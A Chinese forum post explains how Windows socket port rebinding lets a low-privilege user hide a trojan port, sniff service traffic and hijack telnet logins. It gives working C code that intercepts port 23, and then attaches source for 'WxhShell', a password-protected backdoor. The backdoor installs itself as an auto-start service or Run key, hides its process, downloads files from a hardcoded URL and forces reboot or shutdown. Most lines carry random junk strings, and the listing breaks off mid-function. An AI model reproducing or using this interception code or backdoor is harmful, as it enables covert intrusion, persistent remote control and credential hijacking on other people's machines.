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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >_P7k5Y^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ){`s&?M0  
6M9t<DQV  
  saddr.sin_family = AF_INET; k\$))<3  
:8aa#bA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^%|,G:r  
M*FUtu  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P:h;"  
J$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0 3fCn"  
exw~SvT3  
  这意味着什么?意味着可以进行如下的攻击: JP`$A  
&C<K|F!j!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D7|[:``  
 (n+2z"/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OJiW@Z_\  
RY'f%c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _@9[c9bO  
kcKcIn{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \"Z^{Y[,;  
AE`X4q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i2KN^"v?N  
'?dO[iQ$:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D+ mZ7&L  
2g~qVT,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RUqN,C,m5I  
i'9aQi"G  
  #include M#X8Rs1`  
  #include a0I+|fR  
  #include zWKnkIit,  
  #include    1BT]_ cP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *I6z;.#  
  int main() |57u;  
  { 1Q\P] -  
  WORD wVersionRequested; :8b{|}aYV  
  DWORD ret; sC >_ulkoa  
  WSADATA wsaData; O 4zD >O  
  BOOL val; zaWy7@?  
  SOCKADDR_IN saddr; Klfg:q:j+b  
  SOCKADDR_IN scaddr; )!.ef6|  
  int err; rD=8O#m g  
  SOCKET s; WLl_;BgN  
  SOCKET sc; q1ybJii  
  int caddsize; "%fh`4y3\  
  HANDLE mt; 0/K?'&$yvb  
  DWORD tid;   u3 k%  
  wVersionRequested = MAKEWORD( 2, 2 ); <knf^D<"  
  err = WSAStartup( wVersionRequested, &wsaData ); $/;D8P5/&=  
  if ( err != 0 ) { nZZNx  
  printf("error!WSAStartup failed!\n"); JPQWRK^  
  return -1; |,3s]b`  
  } n^aSio6  
  saddr.sin_family = AF_INET; U-Ia$b-5!  
   Q#"p6ZmI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wZ6D\I  
ZoX24C'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m>yb}+  
  saddr.sin_port = htons(23); HV O mM17  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n%'M?o]DF  
  { TNe,'S,%  
  printf("error!socket failed!\n"); Z9 X<W`  
  return -1; MzjV>.  
  } D![42H+-Qd  
  val = TRUE; !5,>[^y3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |^fubQs;2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <xM$^r)  
  { DfYOGs]@  
  printf("error!setsockopt failed!\n"); 3ARvSz@5  
  return -1; Gk_%WY*  
  } Z] ?Tx2|7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pde,@0(Fa  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q#LB 2M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >[t0a"  
^u'hl$`^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "XPBNv\>_  
  { ,b[}22  
  ret=GetLastError(); $!Z><&^/  
  printf("error!bind failed!\n"); l{b<rUh5W  
  return -1; s18o,Zs'  
  } lGrp^  
  listen(s,2); W\]bh'(  
  while(1) ;R[  xo!  
  { 1 & G0;  
  caddsize = sizeof(scaddr); |OW/-&)  
  //接受连接请求 }/tT=G]91  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7$3R}=Z`\q  
  if(sc!=INVALID_SOCKET) S1jI8 #z}_  
  { m(0sG(A~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4I7B #{  
  if(mt==NULL) \s_lB~"P!3  
  { rJLn=|uR  
  printf("Thread Creat Failed!\n"); 3V=(P.ATm  
  break; aq~>$CHa  
  } -s~6FrKy  
  } y?=W  
  CloseHandle(mt); $ti*I;)h4  
  } U'(Exr[  
  closesocket(s); L{`S^'P<  
  WSACleanup(); 5mzOr4*0  
  return 0; &UzeNL"]  
  }   :`u?pc27Sm  
  DWORD WINAPI ClientThread(LPVOID lpParam) WFWQ;U{|  
  { ^gw htnI  
  SOCKET ss = (SOCKET)lpParam; [6 d~q]KH  
  SOCKET sc; GMk\ l  
  unsigned char buf[4096]; k^<s|8Y  
  SOCKADDR_IN saddr; TUE*mDRmP  
  long num; }f rij1/G  
  DWORD val; LDg" s0n#  
  DWORD ret; .'`7JU#{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 { 'A`ram  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &d,chb (  
  saddr.sin_family = AF_INET; (PVK|Q55y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eAqSY s!1  
  saddr.sin_port = htons(23); Q 6>7{\8l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #Z;6f{yWf  
  { nsT]Yxo%M  
  printf("error!socket failed!\n"); 6yDj1PI  
  return -1; ,m4M39MWJ  
  } K4T#8K]aZF  
  val = 100; 0!4;."S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G.j  R  
  { S8=Am7D]1  
  ret = GetLastError(); $ghAC  
  return -1; m(2(Caz{  
  } 6d4e~F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  Om%HrT  
  { 9NUft8QB  
  ret = GetLastError(); \R"}=7  
  return -1; 'K|Jg.2  
  } .&z/p3 1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4)]w"z0Pc  
  { mT]+wi&  
  printf("error!socket connect failed!\n"); 8]SJ=c"}Xf  
  closesocket(sc); $? 'JePC  
  closesocket(ss); z-9@K<`H  
  return -1; *[ ' n8Z  
  } i 4sd29v  
  while(1) D8 S?xK7[  
  { @.rVg XE=!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _:R Q9x'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3HtLD5%Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?(C(9vO  
  num = recv(ss,buf,4096,0); U,G!u=+  
  if(num>0) Drn{ucIs  
  send(sc,buf,num,0); Kmk}Yz  
  else if(num==0) Z`_`^ \"  
  break; 8}B*a;d  
  num = recv(sc,buf,4096,0); R,Gr{"H  
  if(num>0) "hE/f~\  
  send(ss,buf,num,0); w)Rtt 9  
  else if(num==0) |_<'q h  
  break; d3nx"=Cy0I  
  } t=-t xnlr<  
  closesocket(ss); nqp:nw  
  closesocket(sc); /mdPYV  
  return 0 ; #F>7@N:5  
  } ^*6So3  
}JP0q  
]^f7s36  
========================================================== 8|-j]   
oK-T@ &-  
下边附上一个代码,,WXhSHELL MU  }<-1  
ywSV4ZtM  
========================================================== E$u9Jbe  
';'TCb{f*  
#include "stdafx.h" K;n2mXYGM  
"-y 2En  
#include <stdio.h> cpIFjb>u{  
#include <string.h> p3m!Iota  
#include <windows.h> mbf'xGO  
#include <winsock2.h> ;-aF\}D@n  
#include <winsvc.h> /]xu=q2  
#include <urlmon.h> $0-}|u]5U  
Ffv v8x  
#pragma comment (lib, "Ws2_32.lib") 8vk*",  
#pragma comment (lib, "urlmon.lib") fX:)mLnO/  
mYU7b8x_  
#define MAX_USER   100 // 最大客户端连接数 v?BVUH>#9  
#define BUF_SOCK   200 // sock buffer J 8!D."'Q0  
#define KEY_BUFF   255 // 输入 buffer zRO-oOJ  
\(4"kY_=  
#define REBOOT     0   // 重启 Dw%V.J/&o  
#define SHUTDOWN   1   // 关机 2 }9of[  
.o27uB.  
#define DEF_PORT   5000 // 监听端口 '}nH\?(  
|"K<   
#define REG_LEN     16   // 注册表键长度 a {4Wg:  
#define SVC_LEN     80   // NT服务名长度 9s#Q[\B!  
^#6"d+lp  
// 从dll定义API AZj `o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d9j+==S <  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J|O=w(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -\6";_Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); # NoY}*  
AX`>y@I  
// wxhshell配置信息 qdM=}lbc  
struct WSCFG { gs xT  
  int ws_port;         // 监听端口 Q3@MRR^tY  
  char ws_passstr[REG_LEN]; // 口令 k$ ya.b<X/  
  int ws_autoins;       // 安装标记, 1=yes 0=no {OH @z!+d  
  char ws_regname[REG_LEN]; // 注册表键名 !Q/%N#  
  char ws_svcname[REG_LEN]; // 服务名 s8r|48I#;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G{ |0}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *A^j>lV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B% ]yLJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A:-MRhE9X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x4_xl .  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >5O#_?  
zeC@!,lH  
}; fZq_]1(/uP  
\Zn%r&(  
// default Wxhshell configuration a/ 4!zT   
struct WSCFG wscfg={DEF_PORT, uVSc1 MS1  
    "xuhuanlingzhe", 0h3 -;%  
    1, tRUGgf`  
    "Wxhshell", ?(t{VdZSzQ  
    "Wxhshell", _mEW]9Sp  
            "WxhShell Service", he vM'"|4  
    "Wrsky Windows CmdShell Service", z1K}] z%  
    "Please Input Your Password: ", a>05Yxw  
  1, : \{>+!`w  
  "http://www.wrsky.com/wxhshell.exe", =7e|e6  
  "Wxhshell.exe" 4!q4WQ ;  
    }; .wdWs tQ  
!nm[ZrS P  
// 消息定义模块 5W Z9z-6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nDFF,ge;a#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ms(Z1ix^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5xS ze;  
char *msg_ws_ext="\n\rExit."; $i|c6&  
char *msg_ws_end="\n\rQuit."; O<*l"fw3  
char *msg_ws_boot="\n\rReboot..."; b`9J1p.;  
char *msg_ws_poff="\n\rShutdown..."; ,k9@%{4 l  
char *msg_ws_down="\n\rSave to "; EMTAl;P  
MV(Sb:RZ  
char *msg_ws_err="\n\rErr!"; fwN'5ep  
char *msg_ws_ok="\n\rOK!"; 6Mh;ld@  
F2N)|C<  
char ExeFile[MAX_PATH]; sy\w ^]  
int nUser = 0; wU"0@^k]<  
HANDLE handles[MAX_USER]; k2-:! IE  
int OsIsNt; FFG/v`NM  
L[j73z'  
SERVICE_STATUS       serviceStatus; 9 rMP"td  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <[oPh(!V  
5z T~/6-(  
// 函数声明 ]Qu.-F#g  
int Install(void); WGK:XfOBQ  
int Uninstall(void); !{WIN%O  
int DownloadFile(char *sURL, SOCKET wsh); 342m=7lK  
int Boot(int flag); K1_]ne)  
void HideProc(void); mDCz=pk)  
int GetOsVer(void); :xBG~D  
int Wxhshell(SOCKET wsl); YKWiZ  
void TalkWithClient(void *cs); z{>p<)h  
int CmdShell(SOCKET sock); 9B&fEmgEc?  
int StartFromService(void); W1$<,4j@M  
int StartWxhshell(LPSTR lpCmdLine); HCCEIgCT  
&|'t>-de,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); en5sqKqh+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q!qOy/}D  
Ir,3' G  
// 数据结构和表定义 -|FSdzvg  
SERVICE_TABLE_ENTRY DispatchTable[] = @[2Go}VF  
{ b3vPGR  
{wscfg.ws_svcname, NTServiceMain}, fOHgz ,x=  
{NULL, NULL} 2 omKP,9,2  
}; AB:JXMyK  
MS=zG53y  
// 自我安装 iC.k8r+~  
int Install(void) MjNq8'$"  
{ d%EUr9~?  
  char svExeFile[MAX_PATH]; {,9^k'9  
  HKEY key; $vR#<a,7>  
  strcpy(svExeFile,ExeFile); y-1!@|l0:6  
J^Mq4&  
// 如果是win9x系统,修改注册表设为自启动 v90)G8|q  
if(!OsIsNt) { C&1()U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }JWLm.e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k0/S&e,*  
  RegCloseKey(key); \-h%z%{R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MT3TWWtZ:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mx]![O.ye  
  RegCloseKey(key); G9|w o)N  
  return 0; -aV!ZODt  
    } A><q-`bw  
  } l$\OSG  
} P{gGvC,  
else { B(zcoWQ*B  
GdlzpBl  
// 如果是NT以上系统,安装为系统服务 h,palP6^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O,c}T7A'?w  
if (schSCManager!=0) ;Pd nE~  
{ &hSABtr}  
  SC_HANDLE schService = CreateService )*CDufRFz  
  ( [dXpz^Co  
  schSCManager, r2xXS&9!|  
  wscfg.ws_svcname, C-:lM1  
  wscfg.ws_svcdisp, HO`N]AMw  
  SERVICE_ALL_ACCESS, CC~:z/4,N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wr~Ydmsf  
  SERVICE_AUTO_START, *?o`90HHP[  
  SERVICE_ERROR_NORMAL, L T2UY*  
  svExeFile, FD*) @4<o  
  NULL, [ e6zCN^t  
  NULL, oLh 2:c  
  NULL, _[:>!ekx  
  NULL, )UoF*vC(  
  NULL ib,BYFKEW  
  ); fK?/o]vq  
  if (schService!=0) "B34+fOur  
  { fp)%Cr  
  CloseServiceHandle(schService); [J-uvxD  
  CloseServiceHandle(schSCManager); knS(\51A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ER'zjI>t@  
  strcat(svExeFile,wscfg.ws_svcname); {: H&2iF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~rl,Hr3Z o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \8}!aTC  
  RegCloseKey(key); j]X $7  
  return 0; <=g{E-  
    } S!r,p};  
  } p3q >a<  
  CloseServiceHandle(schSCManager); Fs}vI~}  
} MKPw;@-  
} pFW^   
!!we4tWq  
return 1; -H+<81"B#  
} dW4FMm>|  
p "Cxe  
// 自我卸载 R?E< }\!  
int Uninstall(void) Xk]:]pl4W  
{ /]@1IC{Lk  
  HKEY key; a:V2(nY  
2Vwv#NAV k  
if(!OsIsNt) { 1!P\x=Nn_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7/>#yR  
  RegDeleteValue(key,wscfg.ws_regname); GX\6J]x=^2  
  RegCloseKey(key); 8rEUZk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mcfqo0T-  
  RegDeleteValue(key,wscfg.ws_regname); !C3ozZ<  
  RegCloseKey(key); W-8U~*/  
  return 0; ,jc')#]9B  
  } - fx?@  
}  qH9bo-6  
} )a=58r07  
else { qZwqnH  
t"Tv(W?_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t8:QK9|1  
if (schSCManager!=0) m~;}8ObQE  
{ R<eD)+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IJQ" *;  
  if (schService!=0) O+w82!<:  
  { 5 >c,#*  
  if(DeleteService(schService)!=0) { xJ(}?0h-X  
  CloseServiceHandle(schService); n8RE  
  CloseServiceHandle(schSCManager); a@ v}j&  
  return 0; O>tz;RU  
  } ,"xr^@W  
  CloseServiceHandle(schService); V\6V&_  
  } ; VH:dg  
  CloseServiceHandle(schSCManager); B ?%g@d-;  
} O}Mu_edM  
} 5z=.Z\M`8  
:+? w>  
return 1; NQu .%=  
} (aUdPo8H^  
d [f,Nu'  
// 从指定url下载文件 0vjlSHS;`.  
int DownloadFile(char *sURL, SOCKET wsh) .kf FaK  
{ ~C31=\$  
  HRESULT hr; |1/UC"f  
char seps[]= "/"; ?"Ec#,~  
char *token; 5fjL  
char *file; ;QS(`SK l  
char myURL[MAX_PATH]; CxbGL  
char myFILE[MAX_PATH]; G}V5PEF]`  
~bnyk%S o  
strcpy(myURL,sURL); VoG:3qN  
  token=strtok(myURL,seps); 69iY)Ob/  
  while(token!=NULL) d$}!x[g$Z  
  { @ i*It Hk  
    file=token; pW,)yo4  
  token=strtok(NULL,seps); 7 /7,55  
  } 7]F@ g}8  
[yn\O=%5  
GetCurrentDirectory(MAX_PATH,myFILE); \NF5)]:  
strcat(myFILE, "\\"); b sM ]5^  
strcat(myFILE, file); m#Dae\w&  
  send(wsh,myFILE,strlen(myFILE),0); !3;KC"o  
send(wsh,"...",3,0); jM5w<T-2/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); < pWk   
  if(hr==S_OK) s,|"s|P  
return 0; Tg yY 9  
else KSgYf;  
return 1; (`)ZR %i  
S-2@:E  
} vhE^jS<Tg  
r- 8fvBZ5  
// 系统电源模块 (CR]96n  
int Boot(int flag) {7Qj+e^  
{ =~P)7D6  
  HANDLE hToken; rInZd`\  
  TOKEN_PRIVILEGES tkp; VtYrU>q  
$i9</Es P  
  if(OsIsNt) { es!>u{8)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Em]2K:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5D6 ,B  
    tkp.PrivilegeCount = 1; ,ui=Wi1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _)XZ;Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y}*J_7-  
if(flag==REBOOT) { c_Lcsn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !e?2 x@J  
  return 0; ]y\Wc0 q  
} E]c0+rh~  
else { }l<:^lX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ko+fJ&$  
  return 0; TMw6 EM  
} :x[SV^fw[  
  } ep)O|_=  
  else { H~<w*[uT  
if(flag==REBOOT) { Y ow  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yB5JvD ?  
  return 0; 4'# ?"I  
} OVUJiBp  
else { vJ9IDc|[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /I48jO^2  
  return 0; >!3r7LgK  
} ;)23@6{R%  
} $i|d=D&t  
^R h`XE  
return 1; =Q~@dP  
} SQ la]%  
XP^[,)E  
// win9x进程隐藏模块 ,!vI@>nhG  
void HideProc(void) ddzMwucjp  
{ t|?eNKVV9'  
V: n\skM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d=eIsP'h  
  if ( hKernel != NULL ) :x3"Cj  
  { ^ ^T xx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4vJg"*?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C+%6N@  
    FreeLibrary(hKernel); PrhGp _5  
  } _^@>I8ix  
["WWaCcx  
return; U28frRa  
} "_ H 9]}Q  
T!X`"rI  
// 获取操作系统版本 +!cibTQTT  
int GetOsVer(void) 4`/Td?THx  
{ 9GtVcucN  
  OSVERSIONINFO winfo; p8(Z{TSv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `5 Iaz  
  GetVersionEx(&winfo); #pnB+h&tE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KD`*[.tT  
  return 1; #c$z&J7e  
  else y`\rb<AZ*t  
  return 0; gTb%c84  
} .~,=?aq^  
-T2w?|  
// 客户端句柄模块 O"~CZh,:r}  
int Wxhshell(SOCKET wsl) KnC:hus  
{ F$@(0c  
  SOCKET wsh; _c>8y  
  struct sockaddr_in client; 4SJb\R)XK  
  DWORD myID; 9xOTR#B:_V  
Kh7C7[&  
  while(nUser<MAX_USER) R1~wzy  
{ ,}/6Za  
  int nSize=sizeof(client); Gz:ell$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Slv91c&md,  
  if(wsh==INVALID_SOCKET) return 1; c2wgJH!g  
`+!F#.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H>F j  
if(handles[nUser]==0) bD`h/jYv  
  closesocket(wsh); #z =$*\u  
else ]cM,m2^2  
  nUser++; r2m&z%N &  
  } \k3EFSm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6t4Khiwx  
nL+y"O  
  return 0; 6z2%/P-'  
} g\1|<jb3  
.u:aX$t+  
// 关闭 socket :6J&%n  
void CloseIt(SOCKET wsh) sBa&]9>m  
{ |4rqj 1*U  
closesocket(wsh); .l$U:d  
nUser--; O>d [;Q  
ExitThread(0); sAS[wcOQ  
} o>HU4O}  
,olP}  
// 客户端请求句柄 -tA_"q'^  
void TalkWithClient(void *cs) 5c$\DZ(  
{ _&N}.y)+t  
rV}&G!V_t  
  SOCKET wsh=(SOCKET)cs; v8K`cijSS  
  char pwd[SVC_LEN]; D2I|Z  
  char cmd[KEY_BUFF]; Id=V\'$o  
char chr[1]; N(%(B  
int i,j; ZF@$3   
Of>2m<  
  while (nUser < MAX_USER) { \. a7F4h  
$f=6>Kn|^]  
if(wscfg.ws_passstr) { ~l}\K10L*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5 zz">-Q !  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >qZl s'  
  //ZeroMemory(pwd,KEY_BUFF); gxmY^" Jy  
      i=0; Xi;<O&+  
  while(i<SVC_LEN) { Aw&0R"{  
LfN,aW  
  // 设置超时 VniU:A  
  fd_set FdRead; kK:U+`+  
  struct timeval TimeOut; e~geBlLar  
  FD_ZERO(&FdRead); o4jh n[Fx  
  FD_SET(wsh,&FdRead); 5?m4B:W  
  TimeOut.tv_sec=8; EHK+qrym  
  TimeOut.tv_usec=0; :LCyxLI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {DZ xK(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P!I Lji!  
Q/0oe())  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]QGo(+  
  pwd=chr[0]; \1hQ7:f;\  
  if(chr[0]==0xd || chr[0]==0xa) { g3 Oro}wt6  
  pwd=0; ={;7WB$  
  break; QD-`jV3  
  } &ET$ca`j#  
  i++; $Z3{D:-)  
    } QH_Ds,oH=  
v#?;PyeF  
  // 如果是非法用户,关闭 socket  dZX;k0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'Y/kF1,*  
} &Q*  7  
Zv(6VVj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bru];%Qg%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^^F 8M0k3  
0rvBjlFT  
while(1) { jVh:Bw  
WF:4p]0~)  
  ZeroMemory(cmd,KEY_BUFF); V9jxmu F,  
%/ "yt}"|  
      // 自动支持客户端 telnet标准   2#ZqGf.'v  
  j=0; Bo\~PV[  
  while(j<KEY_BUFF) { 8tVSai8[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x~=Mn%Ew0  
  cmd[j]=chr[0]; Ze <)B *  
  if(chr[0]==0xa || chr[0]==0xd) { 8Ltl32JSB[  
  cmd[j]=0; Yr>0Qg],  
  break; [SD mdr1T$  
  } hM[3l1o{|  
  j++; *qu5o5Q  
    } bGkLa/?S  
56 Z  
  // 下载文件 E#,\[<pc  
  if(strstr(cmd,"http://")) { U8-OQ:2.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HD& Cp  
  if(DownloadFile(cmd,wsh)) Uq~b4X$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UD.ZnE{"  
  else efE=5%O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ":q+"*fy  
  } *Ms&WYN-  
  else { I;n <) >  
5{#s<%b.  
    switch(cmd[0]) { =iH9=}aBFC  
  [$td:N *  
  // 帮助 jo3(\Bq  
  case '?': { 0+u >"7T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  v7Ps-a)  
    break; H23 O]r  
  } sPVE_n  
  // 安装 #c":y5:  
  case 'i': { Xvoz4'Gme  
    if(Install()) 9Ofls9]U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <sw=:HU  
    else A3*(c3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NC Y2^  
    break; hn\d{HP  
    } h-RhmQA=Iz  
  // 卸载 Sk)lT^by  
  case 'r': { {> 8?6m-  
    if(Uninstall()) Z/!awf>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *_7/'0E(3  
    else o';/$xrH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ji:<eRx)  
    break; ALcPbr  
    } z"mpw mv5  
  // 显示 wxhshell 所在路径 W-gu*iZ6&  
  case 'p': { Z`86YYGK  
    char svExeFile[MAX_PATH]; TI\xCIH  
    strcpy(svExeFile,"\n\r"); ?>iUz.];t  
      strcat(svExeFile,ExeFile); /h{Rf,H  
        send(wsh,svExeFile,strlen(svExeFile),0); wOCAGEg  
    break; dsj}GgG?Z  
    } 0TSB<,9a[  
  // 重启 #ti%hm  
  case 'b': { !dU$1:7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t%J1(H  
    if(Boot(REBOOT)) Iqn (NOq^[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7!h> < sx  
    else { F_m' 9KX4E  
    closesocket(wsh); TI t\  
    ExitThread(0); 9_,f)2)~W  
    } 1Lk(G9CoY  
    break; /HS"{@Z"h  
    } 0FY-e~xr  
  // 关机 RgW#z-PZF  
  case 'd': { mwyB~,[d+W  
